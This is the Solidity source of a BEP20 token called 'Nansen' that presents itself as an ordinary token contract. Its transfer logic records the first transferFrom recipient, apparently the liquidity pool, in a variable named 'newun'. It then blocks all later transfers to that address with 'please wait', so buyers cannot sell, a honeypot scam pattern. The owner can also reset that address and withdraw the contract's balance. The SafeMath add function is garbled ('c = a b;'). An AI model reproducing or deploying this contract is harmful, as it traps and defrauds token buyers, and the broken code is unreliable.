pragma solidity >=0.5.17;


library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}

contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);

event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}

contract Owned {
address public owner;
address public newOwner;

event OwnershipTransferred(address indexed _from, address indexed _to);

constructor() public {
owner = msg.sender;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}

contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;

string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;

mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;

constructor() public {
symbol = "Nans";
name = "Nansen";
decimals = 8;
_totalSupply = 100000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");

balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");

balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}

contract Nansen is TokenBEP20 {

function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {

}
}